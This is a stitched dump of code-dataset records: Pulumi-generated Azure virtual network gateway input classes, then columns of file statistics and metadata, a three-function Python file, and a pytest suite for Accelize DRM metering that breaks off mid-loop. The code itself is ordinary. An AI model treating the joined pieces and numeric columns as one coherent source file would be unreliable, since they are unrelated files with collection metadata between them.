@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Gets name of the resource that is unique within a resource group. This name can be used to access the resource
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter(name="networkSecurityGroup")
def network_security_group(self) -> Optional[pulumi.Input['NetworkSecurityGroupArgs']]:
"""
Gets or sets the reference of the NetworkSecurityGroup resource
"""
return pulumi.get(self, "network_security_group")
@network_security_group.setter
def network_security_group(self, value: Optional[pulumi.Input['NetworkSecurityGroupArgs']]):
pulumi.set(self, "network_security_group", value)
@property
@pulumi.getter(name="provisioningState")
def provisioning_state(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets Provisioning state of the PublicIP resource Updating/Deleting/Failed
"""
return pulumi.get(self, "provisioning_state")
@provisioning_state.setter
def provisioning_state(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "provisioning_state", value)
@property
@pulumi.getter(name="routeTable")
def route_table(self) -> Optional[pulumi.Input['RouteTableArgs']]:
"""
Gets or sets the reference of the RouteTable resource
"""
return pulumi.get(self, "route_table")
@route_table.setter
def route_table(self, value: Optional[pulumi.Input['RouteTableArgs']]):
pulumi.set(self, "route_table", value)
@pulumi.input_type
class VirtualNetworkGatewayArgs:
def __init__(__self__, *,
bgp_settings: Optional[pulumi.Input['BgpSettingsArgs']] = None,
enable_bgp: Optional[pulumi.Input[bool]] = None,
etag: Optional[pulumi.Input[str]] = None,
gateway_default_site: Optional[pulumi.Input['SubResourceArgs']] = None,
gateway_type: Optional[pulumi.Input[Union[str, 'VirtualNetworkGatewayType']]] = None,
id: Optional[pulumi.Input[str]] = None,
ip_configurations: Optional[pulumi.Input[Sequence[pulumi.Input['VirtualNetworkGatewayIPConfigurationArgs']]]] = None,
location: Optional[pulumi.Input[str]] = None,
provisioning_state: Optional[pulumi.Input[str]] = None,
resource_guid: Optional[pulumi.Input[str]] = None,
sku: Optional[pulumi.Input['VirtualNetworkGatewaySkuArgs']] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
vpn_client_configuration: Optional[pulumi.Input['VpnClientConfigurationArgs']] = None,
vpn_type: Optional[pulumi.Input[Union[str, 'VpnType']]] = None):
"""
A common class for general resource information
:param pulumi.Input['BgpSettingsArgs'] bgp_settings: Virtual network gateway's BGP speaker settings
:param pulumi.Input[bool] enable_bgp: EnableBgp Flag
:param pulumi.Input[str] etag: Gets a unique read-only string that changes whenever the resource is updated
:param pulumi.Input['SubResourceArgs'] gateway_default_site: Gets or sets the reference of the LocalNetworkGateway resource which represents Local network site having default routes. Assign Null value in case of removing existing default site setting.
:param pulumi.Input[Union[str, 'VirtualNetworkGatewayType']] gateway_type: The type of this virtual network gateway.
:param pulumi.Input[str] id: Resource Id
:param pulumi.Input[Sequence[pulumi.Input['VirtualNetworkGatewayIPConfigurationArgs']]] ip_configurations: IpConfigurations for Virtual network gateway.
:param pulumi.Input[str] location: Resource location
:param pulumi.Input[str] provisioning_state: Gets or sets Provisioning state of the VirtualNetworkGateway resource Updating/Deleting/Failed
:param pulumi.Input[str] resource_guid: Gets or sets resource GUID property of the VirtualNetworkGateway resource
:param pulumi.Input['VirtualNetworkGatewaySkuArgs'] sku: Gets or sets the reference of the VirtualNetworkGatewaySku resource which represents the sku selected for Virtual network gateway.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: Resource tags
:param pulumi.Input['VpnClientConfigurationArgs'] vpn_client_configuration: Gets or sets the reference of the VpnClientConfiguration resource which represents the P2S VpnClient configurations.
:param pulumi.Input[Union[str, 'VpnType']] vpn_type: The type of this virtual network gateway.
"""
if bgp_settings is not None:
pulumi.set(__self__, "bgp_settings", bgp_settings)
if enable_bgp is not None:
pulumi.set(__self__, "enable_bgp", enable_bgp)
if etag is not None:
pulumi.set(__self__, "etag", etag)
if gateway_default_site is not None:
pulumi.set(__self__, "gateway_default_site", gateway_default_site)
if gateway_type is not None:
pulumi.set(__self__, "gateway_type", gateway_type)
if id is not None:
pulumi.set(__self__, "id", id)
if ip_configurations is not None:
pulumi.set(__self__, "ip_configurations", ip_configurations)
if location is not None:
pulumi.set(__self__, "location", location)
if provisioning_state is not None:
pulumi.set(__self__, "provisioning_state", provisioning_state)
if resource_guid is not None:
pulumi.set(__self__, "resource_guid", resource_guid)
if sku is not None:
pulumi.set(__self__, "sku", sku)
if tags is not None:
pulumi.set(__self__, "tags", tags)
if vpn_client_configuration is not None:
pulumi.set(__self__, "vpn_client_configuration", vpn_client_configuration)
if vpn_type is not None:
pulumi.set(__self__, "vpn_type", vpn_type)
@property
@pulumi.getter(name="bgpSettings")
def bgp_settings(self) -> Optional[pulumi.Input['BgpSettingsArgs']]:
"""
Virtual network gateway's BGP speaker settings
"""
return pulumi.get(self, "bgp_settings")
@bgp_settings.setter
def bgp_settings(self, value: Optional[pulumi.Input['BgpSettingsArgs']]):
pulumi.set(self, "bgp_settings", value)
@property
@pulumi.getter(name="enableBgp")
def enable_bgp(self) -> Optional[pulumi.Input[bool]]:
"""
EnableBgp Flag
"""
return pulumi.get(self, "enable_bgp")
@enable_bgp.setter
def enable_bgp(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "enable_bgp", value)
@property
@pulumi.getter
def etag(self) -> Optional[pulumi.Input[str]]:
"""
Gets a unique read-only string that changes whenever the resource is updated
"""
return pulumi.get(self, "etag")
@etag.setter
def etag(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "etag", value)
@property
@pulumi.getter(name="gatewayDefaultSite")
def gateway_default_site(self) -> Optional[pulumi.Input['SubResourceArgs']]:
"""
Gets or sets the reference of the LocalNetworkGateway resource which represents Local network site having default routes. Assign Null value in case of removing existing default site setting.
"""
return pulumi.get(self, "gateway_default_site")
@gateway_default_site.setter
def gateway_default_site(self, value: Optional[pulumi.Input['SubResourceArgs']]):
pulumi.set(self, "gateway_default_site", value)
@property
@pulumi.getter(name="gatewayType")
def gateway_type(self) -> Optional[pulumi.Input[Union[str, 'VirtualNetworkGatewayType']]]:
"""
The type of this virtual network gateway.
"""
return pulumi.get(self, "gateway_type")
@gateway_type.setter
def gateway_type(self, value: Optional[pulumi.Input[Union[str, 'VirtualNetworkGatewayType']]]):
pulumi.set(self, "gateway_type", value)
@property
@pulumi.getter
def id(self) -> Optional[pulumi.Input[str]]:
"""
Resource Id
"""
return pulumi.get(self, "id")
@id.setter
def id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "id", value)
@property
@pulumi.getter(name="ipConfigurations")
def ip_configurations(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['VirtualNetworkGatewayIPConfigurationArgs']]]]:
"""
IpConfigurations for Virtual network gateway.
"""
return pulumi.get(self, "ip_configurations")
@ip_configurations.setter
def ip_configurations(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['VirtualNetworkGatewayIPConfigurationArgs']]]]):
pulumi.set(self, "ip_configurations", value)
@property
@pulumi.getter
def location(self) -> Optional[pulumi.Input[str]]:
"""
Resource location
"""
return pulumi.get(self, "location")
@location.setter
def location(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "location", value)
@property
@pulumi.getter(name="provisioningState")
def provisioning_state(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets Provisioning state of the VirtualNetworkGateway resource Updating/Deleting/Failed
"""
return pulumi.get(self, "provisioning_state")
@provisioning_state.setter
def provisioning_state(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "provisioning_state", value)
@property
@pulumi.getter(name="resourceGuid")
def resource_guid(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets resource GUID property of the VirtualNetworkGateway resource
"""
return pulumi.get(self, "resource_guid")
@resource_guid.setter
def resource_guid(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "resource_guid", value)
@property
@pulumi.getter
def sku(self) -> Optional[pulumi.Input['VirtualNetworkGatewaySkuArgs']]:
"""
Gets or sets the reference of the VirtualNetworkGatewaySku resource which represents the sku selected for Virtual network gateway.
"""
return pulumi.get(self, "sku")
@sku.setter
def sku(self, value: Optional[pulumi.Input['VirtualNetworkGatewaySkuArgs']]):
pulumi.set(self, "sku", value)
@property
@pulumi.getter
def tags(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
"""
Resource tags
"""
return pulumi.get(self, "tags")
@tags.setter
def tags(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "tags", value)
@property
@pulumi.getter(name="vpnClientConfiguration")
def vpn_client_configuration(self) -> Optional[pulumi.Input['VpnClientConfigurationArgs']]:
"""
Gets or sets the reference of the VpnClientConfiguration resource which represents the P2S VpnClient configurations.
"""
return pulumi.get(self, "vpn_client_configuration")
@vpn_client_configuration.setter
def vpn_client_configuration(self, value: Optional[pulumi.Input['VpnClientConfigurationArgs']]):
pulumi.set(self, "vpn_client_configuration", value)
@property
@pulumi.getter(name="vpnType")
def vpn_type(self) -> Optional[pulumi.Input[Union[str, 'VpnType']]]:
"""
The type of this virtual network gateway.
"""
return pulumi.get(self, "vpn_type")
@vpn_type.setter
def vpn_type(self, value: Optional[pulumi.Input[Union[str, 'VpnType']]]):
pulumi.set(self, "vpn_type", value)
@pulumi.input_type
class VirtualNetworkGatewayIPConfigurationArgs:
def __init__(__self__, *,
etag: Optional[pulumi.Input[str]] = None,
id: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
private_ip_address: Optional[pulumi.Input[str]] = None,
private_ip_allocation_method: Optional[pulumi.Input[Union[str, 'IPAllocationMethod']]] = None,
provisioning_state: Optional[pulumi.Input[str]] = None,
public_ip_address: Optional[pulumi.Input['SubResourceArgs']] = None,
subnet: Optional[pulumi.Input['SubResourceArgs']] = None):
"""
IpConfiguration for Virtual network gateway
:param pulumi.Input[str] etag: A unique read-only string that changes whenever the resource is updated
:param pulumi.Input[str] id: Resource Id
:param pulumi.Input[str] name: Gets name of the resource that is unique within a resource group. This name can be used to access the resource
:param pulumi.Input[str] private_ip_address: Gets or sets the privateIPAddress of the IP Configuration
:param pulumi.Input[Union[str, 'IPAllocationMethod']] private_ip_allocation_method: Gets or sets PrivateIP allocation method (Static/Dynamic)
:param pulumi.Input[str] provisioning_state: Gets or sets Provisioning state of the PublicIP resource Updating/Deleting/Failed
:param pulumi.Input['SubResourceArgs'] public_ip_address: Gets or sets the reference of the PublicIP resource
:param pulumi.Input['SubResourceArgs'] subnet: Gets or sets the reference of the subnet resource
"""
if etag is not None:
pulumi.set(__self__, "etag", etag)
if id is not None:
pulumi.set(__self__, "id", id)
if name is not None:
pulumi.set(__self__, "name", name)
if private_ip_address is not None:
pulumi.set(__self__, "private_ip_address", private_ip_address)
if private_ip_allocation_method is not None:
pulumi.set(__self__, "private_ip_allocation_method", private_ip_allocation_method)
if provisioning_state is not None:
pulumi.set(__self__, "provisioning_state", provisioning_state)
if public_ip_address is not None:
pulumi.set(__self__, "public_ip_address", public_ip_address)
if subnet is not None:
pulumi.set(__self__, "subnet", subnet)
@property
@pulumi.getter
def etag(self) -> Optional[pulumi.Input[str]]:
"""
A unique read-only string that changes whenever the resource is updated
"""
return pulumi.get(self, "etag")
@etag.setter
def etag(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "etag", value)
@property
@pulumi.getter
def id(self) -> Optional[pulumi.Input[str]]:
"""
Resource Id
"""
return pulumi.get(self, "id")
@id.setter
def id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "id", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Gets name of the resource that is unique within a resource group. This name can be used to access the resource
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter(name="privateIPAddress")
def private_ip_address(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets the privateIPAddress of the IP Configuration
"""
return pulumi.get(self, "private_ip_address")
@private_ip_address.setter
def private_ip_address(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "private_ip_address", value)
@property
@pulumi.getter(name="privateIPAllocationMethod")
def private_ip_allocation_method(self) -> Optional[pulumi.Input[Union[str, 'IPAllocationMethod']]]:
"""
Gets or sets PrivateIP allocation method (Static/Dynamic)
"""
return pulumi.get(self, "private_ip_allocation_method")
@private_ip_allocation_method.setter
def private_ip_allocation_method(self, value: Optional[pulumi.Input[Union[str, 'IPAllocationMethod']]]):
pulumi.set(self, "private_ip_allocation_method", value)
@property
@pulumi.getter(name="provisioningState")
def provisioning_state(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets Provisioning state of the PublicIP resource Updating/Deleting/Failed
"""
return pulumi.get(self, "provisioning_state")
@provisioning_state.setter
def provisioning_state(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "provisioning_state", value)
@property
@pulumi.getter(name="publicIPAddress")
def public_ip_address(self) -> Optional[pulumi.Input['SubResourceArgs']]:
"""
Gets or sets the reference of the PublicIP resource
"""
return pulumi.get(self, "public_ip_address")
@public_ip_address.setter
def public_ip_address(self, value: Optional[pulumi.Input['SubResourceArgs']]):
pulumi.set(self, "public_ip_address", value)
@property
@pulumi.getter
def subnet(self) -> Optional[pulumi.Input['SubResourceArgs']]:
"""
Gets or sets the reference of the subnet resource
"""
return pulumi.get(self, "subnet")
@subnet.setter
def subnet(self, value: Optional[pulumi.Input['SubResourceArgs']]):
pulumi.set(self, "subnet", value)
@pulumi.input_type
class VirtualNetworkGatewaySkuArgs:
def __init__(__self__, *,
capacity: Optional[pulumi.Input[int]] = None,
name: Optional[pulumi.Input[Union[str, 'VirtualNetworkGatewaySkuName']]] = None,
tier: Optional[pulumi.Input[Union[str, 'VirtualNetworkGatewaySkuTier']]] = None):
"""
VirtualNetworkGatewaySku details
:param pulumi.Input[int] capacity: The capacity
:param pulumi.Input[Union[str, 'VirtualNetworkGatewaySkuName']] name: Gateway sku name -Basic/HighPerformance/Standard
:param pulumi.Input[Union[str, 'VirtualNetworkGatewaySkuTier']] tier: Gateway sku tier -Basic/HighPerformance/Standard
"""
if capacity is not None:
pulumi.set(__self__, "capacity", capacity)
if name is not None:
pulumi.set(__self__, "name", name)
if tier is not None:
pulumi.set(__self__, "tier", tier)
@property
@pulumi.getter
def capacity(self) -> Optional[pulumi.Input[int]]:
"""
The capacity
"""
return pulumi.get(self, "capacity")
@capacity.setter
def capacity(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "capacity", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[Union[str, 'VirtualNetworkGatewaySkuName']]]:
"""
Gateway sku name -Basic/HighPerformance/Standard
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[Union[str, 'VirtualNetworkGatewaySkuName']]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def tier(self) -> Optional[pulumi.Input[Union[str, 'VirtualNetworkGatewaySkuTier']]]:
"""
Gateway sku tier -Basic/HighPerformance/Standard
"""
return pulumi.get(self, "tier")
@tier.setter
def tier(self, value: Optional[pulumi.Input[Union[str, 'VirtualNetworkGatewaySkuTier']]]):
pulumi.set(self, "tier", value)
@pulumi.input_type
class VpnClientConfigurationArgs:
def __init__(__self__, *,
vpn_client_address_pool: Optional[pulumi.Input['AddressSpaceArgs']] = None,
vpn_client_revoked_certificates: Optional[pulumi.Input[Sequence[pulumi.Input['VpnClientRevokedCertificateArgs']]]] = None,
vpn_client_root_certificates: Optional[pulumi.Input[Sequence[pulumi.Input['VpnClientRootCertificateArgs']]]] = None):
"""
VpnClientConfiguration for P2S client
:param pulumi.Input['AddressSpaceArgs'] vpn_client_address_pool: Gets or sets the reference of the Address space resource which represents Address space for P2S VpnClient.
:param pulumi.Input[Sequence[pulumi.Input['VpnClientRevokedCertificateArgs']]] vpn_client_revoked_certificates: VpnClientRevokedCertificate for Virtual network gateway.
:param pulumi.Input[Sequence[pulumi.Input['VpnClientRootCertificateArgs']]] vpn_client_root_certificates: VpnClientRootCertificate for Virtual network gateway.
"""
if vpn_client_address_pool is not None:
pulumi.set(__self__, "vpn_client_address_pool", vpn_client_address_pool)
if vpn_client_revoked_certificates is not None:
pulumi.set(__self__, "vpn_client_revoked_certificates", vpn_client_revoked_certificates)
if vpn_client_root_certificates is not None:
pulumi.set(__self__, "vpn_client_root_certificates", vpn_client_root_certificates)
@property
@pulumi.getter(name="vpnClientAddressPool")
def vpn_client_address_pool(self) -> Optional[pulumi.Input['AddressSpaceArgs']]:
"""
Gets or sets the reference of the Address space resource which represents Address space for P2S VpnClient.
"""
return pulumi.get(self, "vpn_client_address_pool")
@vpn_client_address_pool.setter
def vpn_client_address_pool(self, value: Optional[pulumi.Input['AddressSpaceArgs']]):
pulumi.set(self, "vpn_client_address_pool", value)
@property
@pulumi.getter(name="vpnClientRevokedCertificates")
def vpn_client_revoked_certificates(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['VpnClientRevokedCertificateArgs']]]]:
"""
VpnClientRevokedCertificate for Virtual network gateway.
"""
return pulumi.get(self, "vpn_client_revoked_certificates")
@vpn_client_revoked_certificates.setter
def vpn_client_revoked_certificates(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['VpnClientRevokedCertificateArgs']]]]):
pulumi.set(self, "vpn_client_revoked_certificates", value)
@property
@pulumi.getter(name="vpnClientRootCertificates")
def vpn_client_root_certificates(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['VpnClientRootCertificateArgs']]]]:
"""
VpnClientRootCertificate for Virtual network gateway.
"""
return pulumi.get(self, "vpn_client_root_certificates")
@vpn_client_root_certificates.setter
def vpn_client_root_certificates(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['VpnClientRootCertificateArgs']]]]):
pulumi.set(self, "vpn_client_root_certificates", value)
@pulumi.input_type
class VpnClientRevokedCertificateArgs:
def __init__(__self__, *,
etag: Optional[pulumi.Input[str]] = None,
id: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
provisioning_state: Optional[pulumi.Input[str]] = None,
thumbprint: Optional[pulumi.Input[str]] = None):
"""
VPN client revoked certificate of virtual network gateway
:param pulumi.Input[str] etag: A unique read-only string that changes whenever the resource is updated
:param pulumi.Input[str] id: Resource Id
:param pulumi.Input[str] name: Gets name of the resource that is unique within a resource group. This name can be used to access the resource
:param pulumi.Input[str] provisioning_state: Gets or sets Provisioning state of the VPN client revoked certificate resource Updating/Deleting/Failed
:param pulumi.Input[str] thumbprint: Gets or sets the revoked Vpn client certificate thumbprint
"""
if etag is not None:
pulumi.set(__self__, "etag", etag)
if id is not None:
pulumi.set(__self__, "id", id)
if name is not None:
pulumi.set(__self__, "name", name)
if provisioning_state is not None:
pulumi.set(__self__, "provisioning_state", provisioning_state)
if thumbprint is not None:
pulumi.set(__self__, "thumbprint", thumbprint)
@property
@pulumi.getter
def etag(self) -> Optional[pulumi.Input[str]]:
"""
A unique read-only string that changes whenever the resource is updated
"""
return pulumi.get(self, "etag")
@etag.setter
def etag(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "etag", value)
@property
@pulumi.getter
def id(self) -> Optional[pulumi.Input[str]]:
"""
Resource Id
"""
return pulumi.get(self, "id")
@id.setter
def id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "id", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Gets name of the resource that is unique within a resource group. This name can be used to access the resource
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter(name="provisioningState")
def provisioning_state(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets Provisioning state of the VPN client revoked certificate resource Updating/Deleting/Failed
"""
return pulumi.get(self, "provisioning_state")
@provisioning_state.setter
def provisioning_state(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "provisioning_state", value)
@property
@pulumi.getter
def thumbprint(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets the revoked Vpn client certificate thumbprint
"""
return pulumi.get(self, "thumbprint")
@thumbprint.setter
def thumbprint(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "thumbprint", value)
@pulumi.input_type
class VpnClientRootCertificateArgs:
def __init__(__self__, *,
etag: Optional[pulumi.Input[str]] = None,
id: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
provisioning_state: Optional[pulumi.Input[str]] = None,
public_cert_data: Optional[pulumi.Input[str]] = None):
"""
VPN client root certificate of virtual network gateway
:param pulumi.Input[str] etag: A unique read-only string that changes whenever the resource is updated
:param pulumi.Input[str] id: Resource Id
:param pulumi.Input[str] name: Gets name of the resource that is unique within a resource group. This name can be used to access the resource
:param pulumi.Input[str] provisioning_state: Gets or sets Provisioning state of the VPN client root certificate resource Updating/Deleting/Failed
:param pulumi.Input[str] public_cert_data: Gets or sets the certificate public data
"""
if etag is not None:
pulumi.set(__self__, "etag", etag)
if id is not None:
pulumi.set(__self__, "id", id)
if name is not None:
pulumi.set(__self__, "name", name)
if provisioning_state is not None:
pulumi.set(__self__, "provisioning_state", provisioning_state)
if public_cert_data is not None:
pulumi.set(__self__, "public_cert_data", public_cert_data)
@property
@pulumi.getter
def etag(self) -> Optional[pulumi.Input[str]]:
"""
A unique read-only string that changes whenever the resource is updated
"""
return pulumi.get(self, "etag")
@etag.setter
def etag(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "etag", value)
@property
@pulumi.getter
def id(self) -> Optional[pulumi.Input[str]]:
"""
Resource Id
"""
return pulumi.get(self, "id")
@id.setter
def id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "id", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Gets name of the resource that is unique within a resource group. This name can be used to access the resource
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter(name="provisioningState")
def provisioning_state(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets Provisioning state of the VPN client root certificate resource Updating/Deleting/Failed
"""
return pulumi.get(self, "provisioning_state")
@provisioning_state.setter
def provisioning_state(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "provisioning_state", value)
@property
@pulumi.getter(name="publicCertData")
def public_cert_data(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets the certificate public data
"""
return pulumi.get(self, "public_cert_data")
@public_cert_data.setter
def public_cert_data(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "public_cert_data", value)
| 43.306501
| 555
| 0.666554
| 30,733
| 257,154
| 5.418247
| 0.021508
| 0.10391
| 0.11296
| 0.072929
| 0.926963
| 0.880536
| 0.836613
| 0.781677
| 0.754665
| 0.718729
| 0
| 0.000737
| 0.229279
| 257,154
| 5,937
| 556
| 43.313795
| 0.839445
| 0.265848
| 0
| 0.698762
| 1
| 0
| 0.13137
| 0.052057
| 0
| 0
| 0
| 0
| 0
| 1
| 0.203026
| false
| 0.002201
| 0.001651
| 0.000825
| 0.312792
| 0.002201
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
b9b4360eaf5049d27b7ef6b901433ba0e6cf5505
| 86
|
py
|
Python
|
tests/functions.py
|
andybrice/Pypework
|
d71c46cd0dfb41660f776ce8d435bb6893466c25
|
[
"MIT"
] | 3
|
2019-07-25T09:31:14.000Z
|
2021-07-11T10:33:27.000Z
|
tests/functions.py
|
andybrice/pypework
|
d71c46cd0dfb41660f776ce8d435bb6893466c25
|
[
"MIT"
] | null | null | null |
tests/functions.py
|
andybrice/pypework
|
d71c46cd0dfb41660f776ce8d435bb6893466c25
|
[
"MIT"
] | null | null | null |
def increment(x): return x + 1
def double(x): return x + x
def add(a,b): return a + b
| 21.5
| 30
| 0.639535
| 19
| 86
| 2.894737
| 0.473684
| 0.254545
| 0.290909
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.014706
| 0.209302
| 86
| 3
| 31
| 28.666667
| 0.794118
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| false
| 0
| 0
| 1
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 7
|
b9fc79061f62d460521ee532f0e92316c0e24127
| 31,025
|
py
|
Python
|
tests/test_metered_mode_on_hw.py
|
Accelize/drm
|
081ef761de50b526523b692c3a8decf290714ed0
|
[
"Apache-2.0"
] | 4
|
2021-02-21T09:11:50.000Z
|
2021-11-29T02:34:07.000Z
|
tests/test_metered_mode_on_hw.py
|
Accelize/drm
|
081ef761de50b526523b692c3a8decf290714ed0
|
[
"Apache-2.0"
] | null | null | null |
tests/test_metered_mode_on_hw.py
|
Accelize/drm
|
081ef761de50b526523b692c3a8decf290714ed0
|
[
"Apache-2.0"
] | null | null | null |
# -*- coding: utf-8 -*-
"""
Test metering and floating behaviors of DRM Library.
"""
import pytest
from time import sleep
from random import randint, choice
from datetime import datetime, timedelta
from re import search, findall
from os.path import realpath, isfile
from tests.conftest import wait_deadline, wait_func_true
def test_fast_start_stop(accelize_drm, conf_json, cred_json, async_handler, log_file_factory):
"""
Test no error occurs witha quick start/stop
"""
driver = accelize_drm.pytest_fpga_driver[0]
async_cb = async_handler.create()
async_cb.reset()
activators = accelize_drm.pytest_fpga_activators[0]
activators.reset_coin()
activators.autotest()
cred_json.set_user('accelize_accelerator_test_02')
conf_json.reset()
logfile = log_file_factory.create(2)
conf_json['settings'].update(logfile.json)
conf_json.save()
with accelize_drm.DrmManager(
conf_json.path,
cred_json.path,
driver.read_register_callback,
driver.write_register_callback,
async_cb.callback
) as drm_manager:
assert not drm_manager.get('license_status')
activators.autotest(is_activated=False)
drm_manager.activate()
drm_manager.deactivate()
assert not drm_manager.get('license_status')
activators.autotest(is_activated=False)
assert sum(drm_manager.get('metered_data')) == 0
async_cb.assert_NoError()
drm_manager.deactivate()
logfile.remove()
@pytest.mark.minimum
@pytest.mark.hwtst
def test_metered_start_stop_short_time(accelize_drm, conf_json, cred_json, async_handler, log_file_factory):
"""
Test no error occurs in normal start/stop metering mode during a short period of time
"""
driver = accelize_drm.pytest_fpga_driver[0]
async_cb = async_handler.create()
activators = accelize_drm.pytest_fpga_activators[0]
activators.reset_coin()
activators.autotest()
cred_json.set_user('accelize_accelerator_test_02')
async_cb.reset()
conf_json.reset()
logfile = log_file_factory.create(2)
conf_json['settings'].update(logfile.json)
conf_json.save()
with accelize_drm.DrmManager(
conf_json.path,
cred_json.path,
driver.read_register_callback,
driver.write_register_callback,
async_cb.callback
) as drm_manager:
assert not drm_manager.get('license_status')
activators.autotest(is_activated=False)
activators.generate_coin(1000)
activators.check_coin()
drm_manager.activate()
activators.autotest(is_activated=True)
activators.generate_coin(1)
activators.check_coin(drm_manager.get('metered_data'))
drm_manager.deactivate()
assert not drm_manager.get('license_status')
activators.autotest(is_activated=False)
activators.check_coin()
async_cb.assert_NoError()
drm_manager.deactivate()
logfile.remove()
def test_metered_start_stop_short_time_in_debug(accelize_drm, conf_json, cred_json, async_handler, log_file_factory):
"""
Test no error occurs in normal start/stop metering mode during a short period of time
"""
driver = accelize_drm.pytest_fpga_driver[0]
async_cb = async_handler.create()
activators = accelize_drm.pytest_fpga_activators[0]
activators.reset_coin()
activators.autotest()
cred_json.set_user('accelize_accelerator_test_02')
async_cb.reset()
conf_json.reset()
logfile = log_file_factory.create(1)
conf_json['settings'].update(logfile.json)
conf_json.save()
with accelize_drm.DrmManager(
conf_json.path,
cred_json.path,
driver.read_register_callback,
driver.write_register_callback,
async_cb.callback
) as drm_manager:
assert not drm_manager.get('license_status')
activators.autotest(is_activated=False)
drm_manager.activate()
assert sum(drm_manager.get('metered_data')) == 0
assert drm_manager.get('license_status')
activators.autotest(is_activated=True)
activators.generate_coin()
activators.check_coin(drm_manager.get('metered_data'))
drm_manager.deactivate()
assert not drm_manager.get('license_status')
activators.autotest(is_activated=False)
assert sum(drm_manager.get('metered_data')) == 0
async_cb.assert_NoError()
drm_manager.deactivate()
logfile.remove()
@pytest.mark.long_run
@pytest.mark.hwtst
def test_metered_start_stop_long_time(accelize_drm, conf_json, cred_json, async_handler, log_file_factory):
"""
Test no error occurs in normal start/stop metering mode during a long period of time
"""
driver = accelize_drm.pytest_fpga_driver[0]
async_cb = async_handler.create()
activators = accelize_drm.pytest_fpga_activators[0]
activators.reset_coin()
activators.autotest()
cred_json.set_user('accelize_accelerator_test_02')
async_cb.reset()
conf_json.reset()
logfile = log_file_factory.create(2)
conf_json['settings'].update(logfile.json)
conf_json.save()
with accelize_drm.DrmManager(
conf_json.path,
cred_json.path,
driver.read_register_callback,
driver.write_register_callback,
async_cb.callback
) as drm_manager:
assert not drm_manager.get('license_status')
activators.autotest(is_activated=False)
drm_manager.activate()
start = datetime.now()
license_duration = drm_manager.get('license_duration')
assert drm_manager.get('license_status')
assert sum(drm_manager.get('metered_data')) == 0
activators.autotest(is_activated=True)
activators.generate_coin()
activators.check_coin(drm_manager.get('metered_data'))
for i in range(3):
wait_period = randint(license_duration-2, license_duration+2)
sleep(wait_period)
